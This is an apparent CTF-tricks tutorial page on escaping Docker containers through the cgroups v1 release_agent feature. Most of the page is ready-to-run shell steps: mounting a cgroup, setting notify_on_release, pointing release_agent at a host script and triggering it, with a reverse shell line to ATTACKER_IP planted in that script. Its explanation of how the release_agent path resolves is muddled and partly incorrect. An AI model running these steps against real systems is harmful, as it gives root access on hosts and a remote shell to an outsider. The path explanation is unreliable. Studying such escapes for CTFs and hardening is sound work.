> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/container-breakout/trick-0024.md).

# Docker Breakout via Release Agent

***

The `release_agent` feature in cgroups v1 can be exploited under certain conditions to escape container environments and elevate privileges. A flaw related to `cgroup_release_agent_write` in the kernel's `cgroup-v1.c` function can allow an attacker to leverage this mechanism. One of the available features of cgroups v1 is the `release_agent` file. This file allows administrators to configure a "release agent" program that would run upon the termination of every process in a particular cgroup. When the last process in a cgroup exits, if `notify_on_release` is enabled for that cgroup, the kernel executes the command specified in the `release_agent` file for that cgroup's hierarchy, running it as root. This means that if an attacker can write to the `release_agent` file and control its contents, they can cause the kernel to execute an arbitrary command with root privileges on the host system.

In order to proceed with this type of exploitation, several conditions must typically be met:

* The container must be running as root. Since the `release_agent` file is owned by root, modifying it usually requires root privileges within the container.
* Security mechanisms like AppArmor and SELinux must be disabled or misconfigured. These tools can prevent the mounting of the cgroup filesystem or other necessary operations for the exploit.
* Seccomp filters must be disabled or be permissive enough not to block the required system calls. Default seccomp profiles, such as the one used by Docker, often block actions necessary for this escape, thus preventing the vulnerability's exploitation.
* The system must be using cgroups v1, and the relevant cgroup filesystem (e.g., `rdma`, or a generic cgroup controller) must be accessible and mountable from within the container.

The exploit typically follows these steps:

Mount the cgroup filesystem (usually v1) within the container to gain access to cgroup virtual files.

```bash
mkdir /tmp/cgroups
mount -t cgroup -o rdma cgroup /tmp/cgroups
```

Navigate into the mounted cgroup filesystem, create a new directory for the exploit group, and set `notify_on_release` to `1`. This flag tells the kernel to execute the `release_agent` when the last task in the cgroup `exploit` exits.

```bash
cd /tmp/cgroups/rdma/
mkdir exploit
echo 1 > exploit/notify_on_release
```

Define the desired path for the script to be executed on the host, e.g., `/cmd_to_run_on_host`. The path written to `release_agent` is executed by the kernel from the root of the mount of the cgroupfs on the host. For example, if the cgroupfs is mounted at `/sys/fs/cgroup` on the host, writing `/path/to/script` in the container's `/tmp/cgroups/.../release_agent` means the kernel will attempt to execute `/sys/fs/cgroup/path/to/script` on the host. To execute a script located elsewhere on the host filesystem, such as `/cmd_to_run_on_host`, you must use a path relative to the cgroupfs mount point on the host. For instance, writing `../../../../cmd_to_run_on_host` might resolve correctly if the cgroupfs mount is deep enough in the filesystem hierarchy. Identify the host's root path within the container's filesystem view (often found in `/etc/mtab`). Let's assume `/` in the container maps to `/var/lib/docker/overlay2/.../merged` on the host, and we find the host root is accessible at `/host_fs` from within the container. Write the absolute host path of this script (e.g., `/host_fs/cmd_to_run_on_host`) into the `release_agent` file of the newly created exploit group. The path written to `release_agent` must ultimately resolve to the desired script location from the host's perspective, considering the cgroupfs mount point as the current working directory.

```bash
# Find host path, e.g., by inspecting /etc/mtab or mountinfo
# Example: Assume container's /mnt/host_root maps to the host's /
HOST_PATH_IN_CONTAINER="/mnt/host_root" # Path on container mapping to host root
SCRIPT_ON_HOST_NAME="cmd_to_run_on_host"
# The release_agent path must be the absolute path from the host's perspective,
# potentially using relative paths from the cgroupfs mount point on the host.
# If HOST_PATH_IN_CONTAINER maps to /, and cgroupfs is mounted at /sys/fs/cgroup,
# the path might be something like ../../../../${SCRIPT_ON_HOST_NAME}
# For simplicity in this example, we assume a direct mapping is possible or
# that the container can write directly to the host's root filesystem path.
PATH_FOR_RELEASE_AGENT="/${SCRIPT_ON_HOST_NAME}"
echo "${PATH_FOR_RELEASE_AGENT}" > exploit/release_agent
```

Create the script file (e.g., `/cmd_to_run_on_host`) on the host filesystem via the container's access path (e.g., `${HOST_PATH_IN_CONTAINER}/${SCRIPT_ON_HOST_NAME}`). This script will contain the payload to be executed on the host (e.g., a reverse shell). Make the script executable.

```bash
# This is the path used by the container to write the script,
# which corresponds to PATH_FOR_RELEASE_AGENT on the host.
SCRIPT_FULL_PATH_IN_CONTAINER="${HOST_PATH_IN_CONTAINER}/${SCRIPT_ON_HOST_NAME}"

echo '#!/bin/bash' > "${SCRIPT_FULL_PATH_IN_CONTAINER}"
echo 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1' >> "${SCRIPT_FULL_PATH_IN_CONTAINER}"
chmod +x "${SCRIPT_FULL_PATH_IN_CONTAINER}"
```

Finally, trigger the `release_agent` by moving a process (like the current shell's PID `$$`) into the exploit cgroup's `cgroup.procs` file. When this process exits (e.g., the shell closes, or a short-lived command finishes), the `release_agent` script (`/cmd_to_run_on_host` on the host) will be executed on the host with root privileges.

```bash
echo $$ > exploit/cgroup.procs
# At this point, exiting the shell (or the process whose PID was written)
# will trigger the release_agent on the host.
# Alternatively, one could launch a short-lived process into the cgroup:
sh -c "echo \$$ > /tmp/cgroups/rdma/exploit/cgroup.procs"
```
